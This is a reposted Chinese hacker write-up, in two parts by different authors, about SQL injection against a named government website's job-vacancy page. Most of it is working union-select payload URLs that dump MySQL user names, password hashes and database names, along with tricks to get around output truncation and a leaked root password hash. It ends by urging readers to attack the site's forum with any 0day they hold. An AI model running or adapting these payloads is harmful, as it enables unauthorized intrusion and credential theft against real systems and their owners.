刀城技术网-信息安全,服务器安全维护,网站安全维护

当前位置: 网站主页 > 数据安全 > MYSQL注入 >

窥探某国家zf官方网站注入点,解决sql注入反馈信息截断问题

时间:2012-06-06 11:15来源:http://bbs.blackbap.org/ 作者:Mr.Cool 点击:
作者:Mr.Cool 原文地址: http://bbs.blackbap.org/thread-1162-1-2.html 安哥拉政府官网:http://www.gov.ai/ 注入点: http://www.gov.ai/vacancies/details.php?id=474 从数据库版本上没法爆出表名,小白和yima各自用工具载字典猜了上万的表名,还是没才
作者:Mr.Cool
原文地址:
http://bbs.blackbap.org/thread-1162-1-2.html

安哥拉政府官网:http://www.gov.ai/
注入点:
http://www.gov.ai/vacancies/details.php?id=474
从数据库版本上没法爆出表名,小白和yima各自用工具载字典猜了上万的表名,还是没才出来。。寒。。
旁注无果:从一个网站得到那个网站的绝对路径,但是还是猜不到www.gov.ai的路径。
load_file就不能用
那么:
http://www.gov.ai/vacancies/details.php?id=474/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,hex(user)/**/from/**/mysql.user/*
有权限,解密返回信息:hpmyadmin。始终搞不懂这个账户干什么的,后来hex(password)返回15位的密码我才想到,应该是被截断了。实际上,真正的MySql账户应该是:phpmyadmin
不过这样:
http://www.gov.ai/vacancies/details.php?id=474/**/and/**/1=2/**/union/**/select/**/1,2,hex(user),hex(database()),5,6,hex(password)/**/from/**/mysql.user/*

 

解密返回的信息分别是:
user:phpmyadmin
password:X6a57261630537a4
database:vacancies
到md5解密网站从0到9和a到f分别替换X解密,解不出来,跑彩虹表也跑不出来。

http://www.gov.ai/vacancies/details.php?id=474/**/and/**/1=2/**/union/**/select/**/1,2,hex(password),hex(database()),5,6,hex(user)/**/from/**/mysql.user/*

http://www.gov.ai/vacancies/details.php?id=474/**/and/**/1=2/**/union/**/select/**/1,2,3,hex(database()),5,6,hex(Db)/**/from/**/mysql.db/**/where/**/user="phpmyadmin"/*
返回:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"phpmyadmin\"/*' at line 1

再次无语了。。。。GPC开启

去掉where
http://www.gov.ai/vacancies/details.php?id=474/**/and/**/1=2/**/union/**/select/**/1,2,3,hex(database()),5,6,hex(Db)/**/from/**/mysql.db/*
解密信息得到:ost\_office,从网站的感觉应该是post\_office才对,但是很怪异

整理一下:
账户/密码:phpmyadmin/unknown、root/*6a57261630537a4
数据库:vacancies、post\_office


那么回来,还是从数据库的用户名和密码入手。不就是密码被截断一个吗?好说,这个方法我自己都有点佩服我自己,简直淫荡的五体投地。
把显示位换成:hex(concat(user,password))
呵呵,返回了什么:726F6F7430366135373236313633303533376134
那么解密后呢:oot06a57261630537a4
刚才那个X就是0.
为了保险起见,我们这样来替换:hex(concat(0x5f,0x5f,0x5f,user,0x5f,password))

http://www.gov.ai/vacancies/details.php?id=474/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,hex(concat(0x5f,0x5f,0x5f,user,0x5f,password))/**/from/**/mysql.user/*

如图(0x5f就是下划线 “ _  ”): 

得到的信息是:5F5F5F726F6F745F30366135373236313633303533376134
再解密得到:__root_06a57261630537a4
user内容为:root,password内容为:06a57261630537a4

作者:黑手党男爵
原文地址:
http://hi.baidu.com/lfort08/blog/item/2a3b99fab4f6e57c034f560d.html

 

今天搜资料的时候,偶然看到一篇文章(窥探某国家zf官方网站注入点,解决sql注入反馈信息截断问题),
对于地问题断问题有一点自己的理解,其实我们可以通过一些函数更好的解决。一下是我的思路,大牛们不要拍砖啊。
http://www.gov.ai/vacancies/details.php?id=47+and+1=1-- 不报错
http://www.gov.ai/vacancies/details.php?id=47+and+1=3-- 还是不报错
http://www.gov.ai/vacancies/details.php?id=47+or+1=1-- 报错
http://www.gov.ai/vacancies/details.php?id=47+or+1=3-- 不报错

呵呵,猪肉点出现了,现在我们就来判断一下字段数,从1-7一直正常,到8出错了,
按理说,1-6也应该出错啊,不解(大牛们,给解释解释啊)
http://www.gov.ai/vacancies/details.php?id=47+order+by+7-- 正常
 
http://www.gov.ai/vacancies/details.php?id=474+order+by+8--  出错
 
然后,http://www.gov.ai/vacancies/details.php?id=47+and+1=2+union+select+1,2,3,4,5,6,7--
and 1=2使其报错,7处有回显,我们将其替换一下,看看其版本


无情的出错了。Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
大意就是为操作union非法混合使用的排序规则。
用hex()试试,成功爆出。

再用unhex()反编码一下,就可直接爆出明文了,
 
4.1.11 ,运气好的好的话倒可以into outfile 一下,否则只能走猜表之路了
判断一下GPC吧,http://www.gov.ai/vacancies/details.php?id=47+and '1'='1'/*

出错,GPC=on 转义后
'\'1\'=\'1\'/*'不相等,故出错。
看来只能做猜表的道路了,表是猜不错来了,呵呵,人家都跑几万的表名都没出来,我也不浪费时间了。
表是猜不错来了,呵呵,人家都跑几万的表名都没出来,我也不浪费时间了。
  判断数据库连接帐号有没有写权限
http://www.gov.ai/vacancies/details.php?id=47+and+(select+count(*)+from+mysql.user)--  存在,可以load_file()
但没爆出路径,没有啥课利用的价值,还是从数据库下手吧,先用hex()转换一下,然后用unhex()解密,就可以直接得到明文,
但是会被截断,当然用substr()也行(麻烦),一个group_concat()就可以解决了。
http://www.gov.ai/vacancies/details.php?id=47+and+1=2+union+select+1,2,3,4,5,6,unhex(hex(group_concat(user,0x3a,password)))+from+mysql.user--
 
 
同理:通过mysql.db可以爆出全部的数据库名
http://www.gov.ai/vacancies/details.php?id=47+and+1=2+union+select+1,2,3,4,5,6,unhex(hex(group_concat(db)))+from+mysql.db--

有时间的童鞋好好跑跑吧,这个网站还有个phpBB2的论坛,以前的洞补上了,有0day的赶紧砸啊。。。

 


 

(责任编辑:刀)
顶一下
(1)
100%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
验证码:点击我更换图片
栏目列表
推荐内容